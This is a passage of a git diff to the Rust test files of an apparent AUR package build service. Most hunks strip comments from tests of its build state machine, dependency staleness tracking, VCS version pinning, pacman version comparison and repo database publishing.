the pipeline used to render the index to `<db>.tar.gz.tmp`, real repo-add -// rejects that as a usage error, and every publish test passed while the first -// real package died at the last step. - -/// Names pacman's repo-add accepts as its database argument, measured against -/// `repo-add (pacman) 7.1.0` rather than guessed from its docs. const REAL_ACCEPTED: [&str; 5] = [ "aur.db.tar", "aur.db.tar.gz", @@ -367,8 +345,6 @@ const REAL_ACCEPTED: [&str; 5] = [ "aur.db.tar.xz", ]; -/// Names it refuses — including the render target the pipeline used to use, and -/// the `.files.*` forms, which are `repo-files`' business and not repo-add's. const REAL_REJECTED: [&str; 5] = ["aur.db", "aur.db.gz", "aur.db.tar.gz.tmp", "aur.files.tar.gz", "aur"]; @@ -393,8 +369,6 @@ fn repo_add_shim_refuses_a_database_name_repo_add_refuses() { } } -/// The oracle, when the host has one: the shim's verdict must be the real tool's -/// verdict, name for name. #[test] fn repo_add_db_names_match_the_real_repo_add() { if Command::new("repo-add").arg("--version").output().is_err() { @@ -416,8 +390,6 @@ fn repo_add_db_names_match_the_real_repo_add() { } } -/// The regression itself, asserted on the pipeline rather than on the shim: what -/// filename does publish actually hand repo-add? #[test] fn publish_hands_repo_add_a_database_name_the_real_tool_accepts() { let web = Web::new("plain-make"); @@ -443,8 +415,6 @@ fn publish_hands_repo_add_a_database_name_the_real_tool_accepts() { "publish passed {db}, which repo-add would refuse" ); - // The render happens in a scratch directory beside the live database, under the - // name a consumer will download, and is gone once the rename lands. let arch = web.env.cfg.repo_arch_dir(); let leftovers: Vec<String> = std::fs::read_dir(&arch) .unwrap() diff --git a/tests/staleness.rs b/tests/staleness.rs index cadfc69..b5a5ac1 100644 --- a/tests/staleness.rs +++ b/tests/staleness.rs @@ -38,7 +38,6 @@ fn staleness_is_derived_on_read_and_nothing_stores_it() { assert_eq!(stale[0].built_with, "1.0-1"); assert_eq!(stale[0].now, "2.0-1"); - // "Derived purely on read" means there is nowhere for a stale answer to hide. let cols: Vec<String> = env .db .read(|c| { @@ -52,15 +51,12 @@ fn staleness_is_derived_on_read_and_nothing_stores_it() { .unwrap(); assert!(cols.is_empty(), "staleness must not be persisted anywhere: {cols:?}"); - // The answer tracks the index, not any stored flag: withdrawing plain-make - // changes what is true about dep-client without touching it. pipeline::publish::withdraw_package(&env.cfg, &env.db, "plain-make").unwrap(); let after = staleness::stale_rows(&env.db).unwrap(); assert!( after.iter().any(|s| s.pkgbase == "dep-client" && s.kind == staleness::Kind::Missing), "withdrawing the dependency should flip the answer to missing: {after:?}" ); - // And nothing about dep-client was written to make that happen. assert_eq!( env.query_i64("SELECT count(*) FROM release WHERE pkgbase_id=(SELECT id FROM pkgbase WHERE name='dep-client')", &[]), Some(1), @@ -72,8 +68,6 @@ fn staleness_is_derived_on_read_and_nothing_stores_it() { #[test] fn a_missing_dependency_blocks_the_build_and_names_the_blocker_everywhere() { let (env, fx, _partner) = env_with_two_fixtures("missing-dep", "dep-partner"); - // dep-partner is a package we intend to publish but have not yet: the build - // cannot run, and that is a fact to report (§10.4). let c = approved(&env, "missing-dep"); assert_eq!(c.missing_deps(), vec!["dep-partner".to_string()], "the review must warn before approving"); let id = pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap(); @@ -84,10 +78,8 @@ fn a_missing_dependency_blocks_the_build_and_names_the_blocker_everywhere() { assert_eq!(b.state, BuildState::BlockedMissingDep); let blocked_on: Vec<String> = serde_json::from_str(&b.blocked_on_json).unwrap(); assert_eq!(blocked_on, vec!["dep-partner".to_string()]); - // Blocked is not failed: nothing went wrong with the build itself. assert_eq!(env.query_i64("SELECT count(*) FROM build WHERE state='failed'", &[]), Some(0)); - // It shows on Attention with the blocker named, not just "something is wrong". let web = Web::attach(env, fx); let page = web.get("/attention"); assert!(page.body.contains("Blocked builds"), "no blocked section: {}", &page.body[..600.min(page.body.len())]); @@ -104,23 +96,18 @@ fn a_blocked_build_waits_and_is_requeued_only_when_the_blocker_arrives() { pipeline::run(&env.cfg, &env.db, &id).unwrap(); assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::BlockedMissingDep); - // The dispatcher sweeps blocked builds every pass. Requeueing one that will - // immediately block again is a busy loop, so it must stay put. assert_eq!(builds::requeue_blocked(&env.db).unwrap(), 0, "requeued while still blocked"); assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::BlockedMissingDep); - // Publishing dep-partner is what unblocks it: a human already approved it. publish(&env, "dep-partner"); assert!( aur_build::db::our_package_names(&env.db).unwrap().contains("dep-partner"), "dep-partner should be in the index now: {:?}", aur_build::db::our_package_names(&env.db) ); - // Publishing the blocker requeues what was waiting on it. assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Queued, "the blocker arrived and the build stayed blocked"); assert_eq!(builds::requeue_blocked(&env.db).unwrap(), 0, "nothing left to requeue"); - // And it now runs to completion. pipeline::run(&env.cfg, &env.db, &id).unwrap(); assert_eq!(builds::get(&env.db, &id).unwrap().unwrap().state, BuildState::Succeeded); assert!(aur_build::db::index_version(&env.db, "missing-dep").unwrap().is_some()); @@ -141,7 +128,6 @@ fn the_review_page_warns_about_missing_deps_before_approval() { #[test] fn the_review_page_answers_what_approving_this_would_disturb() { - // §10.3: "approving this marks N packages stale". let (env, plain, _client) = env_with_two_fixtures("plain-make", "dep-client"); publish(&env, "plain-make"); publish(&env, "dep-client"); @@ -159,9 +145,7 @@ fn the_review_page_answers_what_approving_this_would_disturb() { ); assert!(page.body.contains("dep-client"), "the dependent is not named"); - // And the same answer is available without the UI. assert_eq!(staleness::dependents_of(&web.env.db, "plain-make").unwrap(), vec!["dep-client".to_string()]); - // Approving it does not rebuild anything by itself (§10: no rebuild engine). assert_eq!(web.env.query_i64("SELECT count(*) FROM build", &[]), Some(2), "one build per published package"); } @@ -170,8 +154,6 @@ fn a_dependency_we_stopped_publishing_shows_as_missing_not_outdated() { let (env, _plain, client) = env_with_two_fixtures("plain-make", "dep-client"); publish(&env, "plain-make"); publish(&env, "dep-client"); - // Withdraw plain-make from the index: dep-client now depends on something we - // no longer serve. pipeline::publish::withdraw_package(&env.cfg, &env.db, "plain-make").unwrap(); let stale = staleness::stale_rows(&env.db).unwrap(); diff --git a/tests/state_machine.rs b/tests/state_machine.rs index a8d9b35..70d7aa6 100644 --- a/tests/state_machine.rs +++ b/tests/state_machine.rs @@ -32,12 +32,10 @@ fn the_machine_refuses_a_transition_it_does_not_define() { let id = build(&env, "b1"); assert_eq!(state(&env, "b1"), BuildState::Queued); - // Queued → Succeeded: a build cannot finish without running. let err = builds::set_state(&env.db, &id, BuildState::Succeeded, None).unwrap_err(); assert!(err.to_string().contains("illegal build transition"), "{err}"); assert_eq!(state(&env, "b1"), BuildState::Queued, "a refused transition writes nothing"); - // And a build that does not exist is named as such, not silently updated. let err = builds::set_state(&env.db, "nope", BuildState::Cancelled, None).unwrap_err(); assert!(err.to_string().contains("no build nope"), "{err}"); } @@ -59,16 +57,11 @@ fn a_terminal_build_is_history_and_does_not_move() { assert!(builds::set_state(&env.db, &id, to, None).is_err(), "accepted {to:?} after success"); } assert_eq!(state(&env, "b1"), BuildState::Succeeded); - // Rows are never deleted (§15); a finished build stays what it was. assert_eq!(env.query_i64("SELECT count(*) FROM build", &[]), Some(1)); } #[test] fn a_zombie_worker_cannot_finish_a_build_it_no_longer_owns() { - // The failure this pins: a worker's lease expires mid-step, the reaper hands - // the build back, and the original worker comes back and writes `succeeded` - // over whatever the new owner did. The compare-and-swap in `set_state` makes - // that an error. let env = Env::new(); let id = build(&env, "b1"); builds::claim(&env.db, "worker-1", &id, 90).unwrap(); @@ -85,23 +78,17 @@ fn a_zombie_worker_cannot_finish_a_build_it_no_longer_owns() { #[test] fn a_state_the_code_does_not_know_is_an_error_not_an_empty_string() { - // A row written by an older binary, a hand-edit, or a future migration must - // stop the process, not render as a build in no state at all. let env = Env::new(); let id = build(&env, "b1"); env.exec("UPDATE build SET state='exploded' WHERE id=?1", &[common::P::S(id.clone())]); let err = builds::get(&env.db, &id).unwrap_err(); assert!(err.to_string().contains("outside the state machine"), "{err}"); - // The package page lists a pkgbase's builds with no state filter: an - // unreadable row must fail the query, not vanish. let pb = env.query_i64("SELECT id FROM pkgbase WHERE name='x'", &[]).unwrap(); assert!(aur_build::db::builds_for_pkgbase(&env.db, pb, 10).is_err()); } #[test] fn the_transition_table_is_the_machine_the_code_actually_uses() { - // Every state may be re-written with its own name — a no-op, not a move. What - // matters is what else is reachable, and this table is the whole machine. let reachable = |from: BuildState| -> Vec<&'static str> { BuildState::ALL .iter() @@ -119,17 +106,13 @@ fn the_transition_table_is_the_machine_the_code_actually_uses() { ["queued", "running", "blocked_missing_dep", "succeeded", "failed", "cancelled"] ); assert_eq!(reachable(BuildState::BlockedMissingDep), ["queued", "blocked_missing_dep", "cancelled"]); - // A failed build is resumed on its own row (I5) or requeued by a human (§8.4). assert_eq!(reachable(BuildState::Failed), ["queued", "running", "failed"]); assert_eq!(reachable(BuildState::Cancelled), ["queued", "cancelled"]); - // A published build is history: a new version is a new build id (§8.1). assert_eq!(reachable(BuildState::Succeeded), ["succeeded"]); } #[test] fn requeueing_a_succeeded_build_is_refused_not_silently_requeued() { - // `builds::retry` resets the failed steps and moves the row back to the queue. - // On a build that already published there is nothing to retry. let env = Env::new(); let id = build(&env, "b1"); builds::claim(&env.db, "worker-1", &id, 90).unwrap(); @@ -142,8 +125,6 @@ fn requeueing_a_succeeded_build_is_refused_not_silently_requeued() { #[test] fn a_failed_build_is_resumed_on_its_own_row() { - // I5: the resume happens on the same row, because the step checkpoints say - // where to continue. let env = Env::new(); let id = build(&env, "b1"); builds::claim(&env.db, "worker-1", &id, 90).unwrap(); @@ -157,11 +138,8 @@ fn a_failed_build_is_resumed_on_its_own_row() { assert_eq!(state(&env, &id), BuildState::Succeeded); } - // ---------------------------------------------------------- the other machines -- -/// A candidate row in `state`, inserted directly: these tests are about the state -/// column, not about how a candidate is discovered. fn candidate(env: &Env, state: &str) -> i64 { env.exec( "INSERT OR IGNORE INTO pkgbase (name, aur_url, created_at) VALUES ('x', 'u', '2026-01-01T00:00:00Z')", @@ -192,14 +170,12 @@ fn candidate_state(env: &Env, id: i64) -> CandidateState { #[test] fn a_decided_review_is_never_re_decided() { - // The one write in this system that must never overwrite a human's decision. let env = Env::new(); let id = candidate(&env, "approved"); let err = resolve(&env, id, CandidateState::Rejected).unwrap_err(); assert!(err.to_string().contains("illegal candidate transition approved"), "{err}"); assert_eq!(candidate_state(&env, id), CandidateState::Approved); - // Superseding a decided review is the one move it makes (§7.1). resolve(&env, id, CandidateState::Superseded).unwrap(); assert_eq!(candidate_state(&env, id), CandidateState::Superseded); assert!(resolve(&env, id, CandidateState::Approved).is_err()); @@ -211,13 +187,11 @@ fn only_an_open_review_can_be_approved() { let id = candidate(&env, "rejected"); assert!(resolve(&env, id, CandidateState::Approved).is_err(), "a rejection was re-decided"); assert_eq!(candidate_state(&env, id), CandidateState::Rejected); - // Re-writing the state it already has is a no-op, not a re-decision. resolve(&env, id, CandidateState::Rejected).unwrap(); } #[test] fn a_completed_step_checkpoint_is_frozen() { - // I5: a resumed build reads these rows to decide what not to redo. let env = Env::new(); let id = build(&env, "b1"); builds::begin_step(&env.db, &id, "build", 1).unwrap(); @@ -234,22 +208,18 @@ fn an_interrupted_step_resumes_and_a_blocked_step_waits() { let env = Env::new(); let id = build(&env, "b1"); builds::begin_step(&env.db, &id, "build", 1).unwrap(); - // The reaper's write, then the resume's re-begin. env.exec( "UPDATE build_step SET status='interrupted' WHERE build_id=?1 AND step='build'", &[common::P::S(id.clone())], ); assert_eq!(builds::step_status(&env.db, &id, "build").unwrap(), Some(StepState::Interrupted)); builds::begin_step(&env.db, &id, "build", 2).unwrap(); - // The blocked path puts the checkpoint back to waiting rather than failing it. builds::finish_step(&env.db, &id, "build", StepState::Pending, None, Some("blocked")).unwrap(); assert_eq!(builds::step_status(&env.db, &id, "build").unwrap(), Some(StepState::Pending)); } #[test] fn an_unnamed_state_in_any_row_is_an_error() { - // Every state column is parsed through `db::state_col`, so an unknown value - // stops the read instead of rendering as some other state. let env = Env::new(); let cid = candidate(&env, "approved"); env.exec( diff --git a/tests/surfaces.rs b/tests/surfaces.rs index 1df9f40..87b860d 100644 --- a/tests/surfaces.rs +++ b/tests/surfaces.rs @@ -11,7 +11,6 @@ fn attention_lists_a_downgrade_when_aur_moves_below_what_we_serve() { web.publish("plain-make"); assert!(!web.get("/attention").body.contains("Downgrades"), "nothing is stale yet"); - // The maintainer reverts their version bump. We still serve the higher one. web.fx.bump(&[("pkgver", "0.9")]); aur_build::watch::detect::check_pkgbase(&web.env.cfg, &web.env.db, "plain-make").unwrap(); @@ -33,7 +32,6 @@ fn attention_lists_outdated_dependencies_from_the_recorded_world() { "dep-client is fresh right after both were published" ); - // plain-make moves; dep-client was built against the old one. plain.bump(&[("pkgver", "2.0")]); web.publish("plain-make"); @@ -59,20 +57,15 @@ fn the_package_page_answers_dependencies_and_staleness() { assert!(page.body.contains("plain-make"), "the dependency is not listed"); assert!(page.body.contains("Stale"), "staleness is not shown on the package page"); - // And from the other side: what would a change to plain-make disturb? let other = web.get("/packages/plain-make"); assert!(other.body.contains("Needed by"), "no needed-by block"); assert!(other.body.contains("dep-client"), "the dependent is not listed"); - // The timeline is the aur_commit history: one row per release, each linking - // into AUR's cgit at that exact commit. assert!(other.body.contains("aur.archlinux.org/cgit/aur.git/tree/?h=plain-make&id="), "no per-release cgit link"); assert!(other.body.contains("serving 2.0"), "the summary does not say what is served"); } #[test] fn a_manual_rebuild_reuses_the_approved_identity_without_a_new_approval() { - // I6: rebuilding what is already approved is not a new decision. It must - // not create an approval, and it must not need one. let web = Web::new("plain-make"); web.publish("plain-make"); let approvals_before = web.env.query_i64("SELECT count(*) FROM approval", &[]).unwrap(); @@ -93,7 +86,6 @@ fn a_manual_rebuild_reuses_the_approved_identity_without_a_new_approval() { .unwrap(); assert_eq!(queued, 1, "the rebuild was not queued"); - // Run it: it publishes the same version, still on the one approval. let id: String = web .env .db @@ -143,7 +135,6 @@ fn the_subscriptions_page_shows_state_and_last_check() { assert_eq!(page.status, 200); assert!(page.body.contains("plain-make"), "the subscription is not listed"); assert!(page.body.contains("active"), "no state shown"); - // Pause and remove are per-subscription POSTs, not links that mutate. assert!(page.body.contains("action=\"/subscriptions/pause\""), "no pause form"); assert!(page.body.contains("action=\"/subscriptions/remove\""), "no remove form"); } @@ -157,7 +148,6 @@ fn pausing_a_subscription_stops_detection_and_resuming_starts_it_again() { Some(1), "pause did not take" ); - // A paused pkgbase is not re-detected even when upstream moves. web.fx.bump(&[("pkgver", "3.0")]); let report = aur_build::watch::detect::check_pkgbase(&web.env.cfg, &web.env.db, "plain-make").unwrap(); assert!(matches!(report.outcome, aur_build::watch::detect::Outcome::Paused), "a paused subscription was still inspected"); diff --git a/tests/time.rs b/tests/time.rs index 6ab0665..3d4a203 100644 --- a/tests/time.rs +++ b/tests/time.rs @@ -6,9 +6,6 @@ use common::Env; #[test] fn a_pinned_clock_moves_relative_arithmetic_with_it() { - // The finding: `now()` honored the pinned clock but `secs_ago` and `secs_ahead` - // read the wall clock, so a pinned test computed real-clock expiries while - // comparing them against the pinned "now". time::pin("2026-01-01T00:00:00Z"); assert_eq!(time::now(), "2026-01-01T00:00:00Z"); assert_eq!(time::secs_ahead(90), "2026-01-01T00:01:30Z"); @@ -40,9 +37,7 @@ fn a_lease_taken_under_a_pinned_clock_expires_against_that_clock() { Some("2026-01-01T00:01:30Z"), "the lease must be 90 seconds after the pinned now, not the real one" ); - // Still inside the lease: nothing to reap. assert_eq!(builds::reap_expired(&env.db).unwrap(), 0); - // Ninety-one seconds of pinned time pass, and the reaper sees it. time::pin("2026-01-01T00:01:31Z"); assert_eq!(builds::reap_expired(&env.db).unwrap(), 1); assert_eq!(builds::get(&env.db, "b1").unwrap().unwrap().state, BuildState::Queued); diff --git a/tests/vcs.rs b/tests/vcs.rs index 62efe5f..e83643e 100644 --- a/tests/vcs.rs +++ b/tests/vcs.rs @@ -23,7 +23,6 @@ fn makepkg_calls(env: &Env) -> usize { #[test] fn stage_a_probes_every_vcs_source_not_just_the_first() { let (env, fx) = env_with_fixture("git-multi"); - // Two upstream repos, two pins: either one can move alone (§5.2). let (outcome, c) = detect_and_take(&env, "git-multi"); assert!(matches!(outcome, detect::Outcome::Candidate { .. }), "{outcome:?}"); let c = c.unwrap(); @@ -33,7 +32,6 @@ fn stage_a_probes_every_vcs_source_not_just_the_first() { assert_eq!(pins[1].commit, fx.upstream2_head(), "second source pin"); assert_eq!(pins[0].index, 0); assert_eq!(pins[1].index, 1); - // The resolved version came from Stage B, not from the frozen pkgver= line. assert_eq!(c.pkgver, "r1"); } @@ -47,7 +45,6 @@ fn stage_a_respects_a_tag_pin() { assert_eq!(pins[0].ref_, "v1", "the #tag=v1 fragment is the ref we asked for"); assert_eq!(pins[0].commit, head_at_tag, "the tag resolved to its commit"); - // Upstream moves; a tagged pin must not follow it. fx.upstream_commit("upstream: moved past the tag\n"); let (outcome, _) = detect_and_take(&env, "git-tagged"); assert!( @@ -66,8 +63,6 @@ fn stage_a_short_circuits_before_stage_b_when_nothing_moved() { let id = aur_build::pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap(); aur_build::pipeline::run(&env.cfg, &env.db, &id).unwrap(); - // Now poll again with nothing changed. Stage A finds the same tip set, so Stage - // B must not run at all — the common case, every day. let before = makepkg_calls(&env); let cache_before = stage_b_rows(&env); let r = detect::check_pkgbase(&env.cfg, &env.db, "git-sourced").unwrap(); @@ -82,15 +77,10 @@ fn stage_b_resolves_pkgver_and_captures_the_pins() { let head = fx.upstream_head(); let (_outcome, c) = detect_and_take(&env, "git-sourced"); let c = c.unwrap(); - // The candidate's version is what `pkgver()` computed, not the frozen field. assert_eq!(c.pkgver, "r1.0"); assert_eq!(c.pkgrel, "1"); - // The pins it will be built from are recorded now, while the clone is already - // there. let pins: Vec<UpstreamPin> = serde_json::from_str(&c.upstream_pins_json).unwrap(); assert_eq!(pins[0].commit, head); - // The pins are part of the identity: a different commit is a different thing to - // approve. let with_pins = Identity { aur_commit: "x".into(), epoch: "0".into(), @@ -111,17 +101,13 @@ fn stage_b_is_cached_on_pkgbase_recipe_and_tip() { let calls = makepkg_calls(&env); assert!(calls >= 1, "Stage B must actually run once"); - // Same recipe, same tip: the cached answer is reused, no new resolution. detect::check_pkgbase(&env.cfg, &env.db, "git-sourced").unwrap(); assert_eq!(makepkg_calls(&env), calls, "cache miss on an unchanged key"); assert_eq!(stage_b_rows(&env), 1); - // A new tip is a new key, so it resolves again — but the cooldown window holds - // it back. fx.upstream_commit("upstream: new tip\n"); detect::check_pkgbase(&env.cfg, &env.db, "git-sourced").unwrap(); assert_eq!(stage_b_rows(&env), 1, "cooldown should suppress the re-resolve"); - // Outside the window it resolves again. env.exec("UPDATE stage_b_cache SET resolved_at='2000-01-01T00:00:00Z'", &[]); detect::check_pkgbase(&env.cfg, &env.db, "git-sourced").unwrap(); assert_eq!(stage_b_rows(&env), 2, "a new tip outside cooldown must resolve"); @@ -130,8 +116,6 @@ fn stage_b_is_cached_on_pkgbase_recipe_and_tip() { #[test] fn stage_b_concurrency_cap_is_enforced() { - // The cap is a process-wide guard; with the default of 1 a second caller waits - // for the first. let (env, _fx) = env_with_fixture("git-sourced"); let slots = std::sync::Arc::new(std::sync::atomic::AtomicUsize::new(0)); let s1 = slots.clone(); @@ -154,8 +138,6 @@ fn stage_b_concurrency_cap_is_enforced() { #[test] fn an_unprobeable_source_forces_stage_b_instead_of_claiming_no_change() { - // svn/hg have no cheap universal probe. The honest answer is "we do not know", - // which means Stage B runs. let recipe = aur_build::recipe::parse_pkgbuild( &std::fs::read_to_string(corpus_root().join("git-sourced/PKGBUILD")).unwrap(), ) @@ -178,8 +160,6 @@ fn an_unprobeable_source_forces_stage_b_instead_of_claiming_no_change() { #[test] fn a_moved_tip_with_an_unchanged_pkgver_is_a_notice_not_a_candidate() { - // §5.2: pins moved, version frozen — pacman cannot offer an upgrade, so it - // becomes a notice and is never dropped. let (env, fx) = env_with_fixture("pin-drift"); let (_outcome, c) = detect_and_take(&env, "pin-drift"); let c = c.unwrap(); @@ -188,8 +168,6 @@ fn a_moved_tip_with_an_unchanged_pkgver_is_a_notice_not_a_candidate() { let id = aur_build::pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap(); aur_build::pipeline::run(&env.cfg, &env.db, &id).unwrap(); - // Upstream moves. The shim still reports the same pkgver, as a degenerate - // `pkgver()` does, so nothing is publishable. fx.upstream_commit("upstream: 14 more commits\n"); env.exec("UPDATE stage_b_cache SET resolved_at='2000-01-01T00:00:00Z'", &[]); let (outcome, new_candidate) = detect_and_take(&env, "pin-drift"); @@ -198,13 +176,11 @@ fn a_moved_tip_with_an_unchanged_pkgver_is_a_notice_not_a_candidate() { other => panic!("expected a pin_drift notice, got {other:?}"), } assert!(new_candidate.is_none(), "a non-publishable change opens no review"); - // But it is recorded, and says why (§5.2 wording). let notices = db::list_notices(&env.db, false).unwrap(); assert_eq!(notices.len(), 1); assert_eq!(notices[0].kind, notice_kind::PIN_DRIFT); let detail = notices[0].detail_json.clone(); assert!(detail.contains("nothing publishable"), "{detail}"); - // The index keeps serving the artifact built from the old pins (I11). assert_eq!( env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]), Some(1) @@ -223,7 +199,6 @@ fn a_moved_tip_with_a_changed_pkgver_is_a_normal_candidate() { fx.upstream_commit("upstream: a real release\n"); env.exec("UPDATE stage_b_cache SET resolved_at='2000-01-01T00:00:00Z'", &[]); - // The tool now computes a different version from the new tip. let mut m = fx.manifest_json(); m["vercheck"] = serde_json::json!("r2.0-1"); std::fs::write(&fx.manifest, serde_json::to_string(&m).unwrap()).unwrap(); @@ -243,7 +218,6 @@ fn the_vcs_cache_is_reused_across_polls() { let cache = env.cfg.vcs_cache_path(&format!("file://{}", fx.upstream.clone().unwrap().display())); assert!(cache.exists(), "Stage B should leave a persistent clone behind (§5.2 clone reuse)"); let mtime_before = std::fs::metadata(&cache).ok().and_then(|m| m.modified().ok()); - // A second resolution reuses it rather than re-cloning. env.exec("UPDATE stage_b_cache SET resolved_at='2000-01-01T00:00:00Z'", &[]); fx.upstream_commit("upstream: again\n"); detect::check_pkgbase(&env.cfg, &env.db, "git-sourced").unwrap(); diff --git a/tests/versions.rs b/tests/versions.rs index ae6e877..b8a0b56 100644 --- a/tests/versions.rs +++ b/tests/versions.rs @@ -8,9 +8,6 @@ use aur_build::pkgver::{self, Dep, DepOp}; use aur_build::review::{candidates, diff}; use common::*; -/// Ordering pairs, each `a` strictly older than `b`. Every pair was checked -/// against pacman's own `vercmp`, because the interesting cases are exactly the -/// ones that are easy to misremember. const ORDERED: &[(&str, &str)] = &[ ("v1.2.3", "v1.2.4"), ("1.0", "1.1"), @@ -77,17 +74,12 @@ fn vercmp_orders_the_canonical_vectors() { } } -/// The strongest version of this test: compare the hand-written implementation -/// against pacman's own `vercmp` over a cross-product of the shapes that appear in -/// real recipes. Skipped with a note when the binary is absent. #[test] fn vercmp_matches_the_system_oracle() { if std::process::Command::new("vercmp").arg("1").arg("2").output().is_err() { eprintln!("note: pacman's `vercmp` is not on PATH; skipping the differential check"); return; } - // No `-` here: pacman's `vercmp` binary compares two raw version strings and - // does not split an epoch/pkgrel triple, so `vercmp_string` is the right side. let fragments = [ "1", "1.0", "1.0.0", "1.0.1", "1.1", "2", "2.0", "1.0a", "1.0rc1", "1.0.2a", "1.0.2.1", "1.0.2.a", "1.0.2.aa", "1.0.2.b", "1.0.2z", "1.0z", "1.0.z", "0.9", "10", "2.24", "2.5", @@ -131,31 +123,23 @@ fn equal_versions_compare_equal_and_leading_zeros_do_not_matter() { #[test] fn an_epoch_always_beats_a_larger_version_without_one() { - // The rule that catches a maintainer who resets a version and adds an epoch. assert_eq!(pkgver::vercmp("1:0.1-1", "9.9.9-1"), Ordering::Greater); assert_eq!(pkgver::vercmp("9.9.9-1", "1:0.1-1"), Ordering::Less); - // No epoch means epoch 0, on both sides. assert_eq!(pkgver::vercmp("0:1.0-1", "1.0-1"), Ordering::Equal); assert_eq!(pkgver::vercmp("1:1.0-1", "1.0-1"), Ordering::Greater); } #[test] fn a_pkgrel_reset_under_a_newer_pkgver_is_still_an_upgrade() { - // The shape AUR produces constantly: 1.2.3-4 -> 1.2.4-1. Comparing the - // pkgrel alone would call this a downgrade. assert_eq!(pkgver::vercmp("1.2.3-4", "1.2.4-1"), Ordering::Less); assert!(!pkgver::is_downgrade("1.2.3-4", "1.2.4-1")); - // And the reverse really is a downgrade even though pkgrel went up. assert!(pkgver::is_downgrade("1.2.4-1", "1.2.3-9")); } #[test] fn alpha_numeric_boundaries_follow_the_chunk_rule() { - // A numeric chunk is always newer than an alphabetic one at the same position. assert_eq!(pkgver::vercmp("1.0.1", "1.0.a"), Ordering::Greater); assert_eq!(pkgver::vercmp("1.0.a", "1.0.1"), Ordering::Less); - // A shorter version is newer when the extra chunk is numeric, older when it is - // alphabetic. assert_eq!(pkgver::vercmp("1.0", "1.0.1"), Ordering::Less); assert_eq!(pkgver::vercmp("1.0", "1.0a"), Ordering::Greater); assert_eq!(pkgver::vercmp("1.0rc1", "1.0"), Ordering::Less); @@ -171,9 +155,7 @@ fn dependency_strings_parse_with_their_constraints() { ("glibc>=2.39-1", "glibc", DepOp::Ge, Some("2.39-1")), ("linux-api-headers=6.0", "linux-api-headers", DepOp::Eq, Some("6.0")), ("gcc-libs<=13.2.1-2", "gcc-libs", DepOp::Le, Some("13.2.1-2")), - // An epoch inside a constraint is part of the version, not the name. ("foo>=1:2.3-4", "foo", DepOp::Ge, Some("1:2.3-4")), - // optdepends carry a description after a colon; it is not a version. ("python-pytest: for tests", "python-pytest", DepOp::Any, None), ]; for (src, name, op, ver) in cases { @@ -182,7 +164,6 @@ fn dependency_strings_parse_with_their_constraints() { assert_eq!(d.op, op, "{src:?} operator"); assert_eq!(d.version.as_deref(), ver, "{src:?} version"); } - // Malformed input is dropped, not fatal. assert!(Dep::parse("").is_none()); assert!(Dep::parse(">=1.0").is_none()); assert_eq!(pkgver::dep_names(&["python>=3.11".into(), "gcc".into()]), vec!["python", "gcc"]); @@ -194,18 +175,14 @@ fn version_constraints_are_satisfied_by_the_right_versions() { assert!(d.satisfied_by("2.39-1")); assert!(d.satisfied_by("2.40-1")); assert!(!d.satisfied_by("2.38-1")); - // An epoch on the installed side satisfies a constraint that has none. assert!(Dep::parse("foo>=1.0").unwrap().satisfied_by("1:0.1-1")); - // `=` means exactly equal in pacman's sense, not string-equal. assert!(Dep::parse("foo=1.0-1").unwrap().satisfied_by("1.0-1")); assert!(!Dep::parse("foo=1.0-1").unwrap().satisfied_by("1.0-2")); - // A bare name is satisfied by anything. assert!(Dep::parse("foo").unwrap().satisfied_by("0")); } #[test] fn provides_and_conflicts_use_the_same_grammar() { - // provides/conflicts entries carry versions with the same syntax. for src in ["aur-build", "aur-build=0.1-1", "virtual-thing>=1.0"] { let d = Dep::parse(src).expect(src); assert!(!d.name().is_empty()); @@ -219,8 +196,6 @@ fn provides_and_conflicts_use_the_same_grammar() { #[test] fn a_downgrade_in_the_aur_is_flagged_not_silently_served() { - // A maintainer reverting a version is a mistake far more often than a - // deliberate rollback. let (env, fx) = env_with_fixture("plain-make"); publish(&env, "plain-make"); fx.bump(&[("pkgver", "0.9")]); @@ -235,13 +210,11 @@ fn a_downgrade_in_the_aur_is_flagged_not_silently_served() { ); assert!(version.body.contains("1.0-1 -> 0.9-1"), "{:?}", version.body); assert!(pkgver::is_downgrade("1.0-1", "0.9-1")); - // A downgrade is a decision, not an automatic rebuild. assert_eq!(aur_build::db::index_version(&env.db, "plain-make").unwrap().unwrap(), "1.0-1"); } #[test] fn an_epoch_bump_is_an_upgrade_even_though_the_version_went_down() { - // The classic "reset the version, add an epoch" move. let (env, fx) = env_with_fixture("epoch-bump"); publish(&env, "epoch-bump"); append_line(&fx, "epoch=1"); @@ -275,8 +248,6 @@ fn full_version_round_trips_through_split() { // --- helpers ------------------------------------------------------------- -/// Detect, render the diff, approve and build, so the next candidate has a real -/// accepted release behind it (I1). fn publish(env: &Env, name: &str) { let c = detect_raw(env, name); let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap(); @@ -287,7 +258,6 @@ fn publish(env: &Env, name: &str) { pipeline::run(&env.cfg, &env.db, &id).unwrap(); } -/// Detect and render, returning the candidate ready for a review page. fn detect(env: &Env, name: &str) -> CandidateRow { detect_raw(env, name) } @@ -310,9 +280,6 @@ fn panel<'a>(panels: &'a [diff::Panel], name: &str) -> &'a diff::Panel { panels.iter().find(|p| p.name == name).unwrap_or_else(|| panic!("no {name} panel")) } -/// Add a top-level declaration the fixture did not ship with (an `epoch=` line) -/// and commit it. It has to go with the other top-level assignments: after a -/// `package_*()` function it would be inside the function body and mean nothing. fn append_line(fx: &Fixture, line: &str) { let path = fx.aur.join("PKGBUILD"); let text = std::fs::read_to_string(&path).unwrap(); diff --git a/tests/world.rs b/tests/world.rs index 3a7dd54..7de4f85 100644 --- a/tests/world.rs +++ b/tests/world.rs @@ -5,8 +5,6 @@ use aur_build::pipeline; use aur_build::pkginfo; use common::*; -/// Build a real `.pkg.tar.zst`: zstd-compressed tar with the two metadata files -/// inside, as makepkg lays them out. `None` means the file is absent. fn make_archive(dir: &std::path::Path, name: &str, pkginfo: Option<&str>, buildinfo: Option<&str>) -> std::path::PathBuf { let path = dir.join(format!("{name}.pkg.tar.zst")); let enc = std::io::BufWriter::new(std::fs::File::create(&path).unwrap()); @@ -75,7 +73,6 @@ fn pkginfo_fields_are_parsed_from_the_archive_itself() { 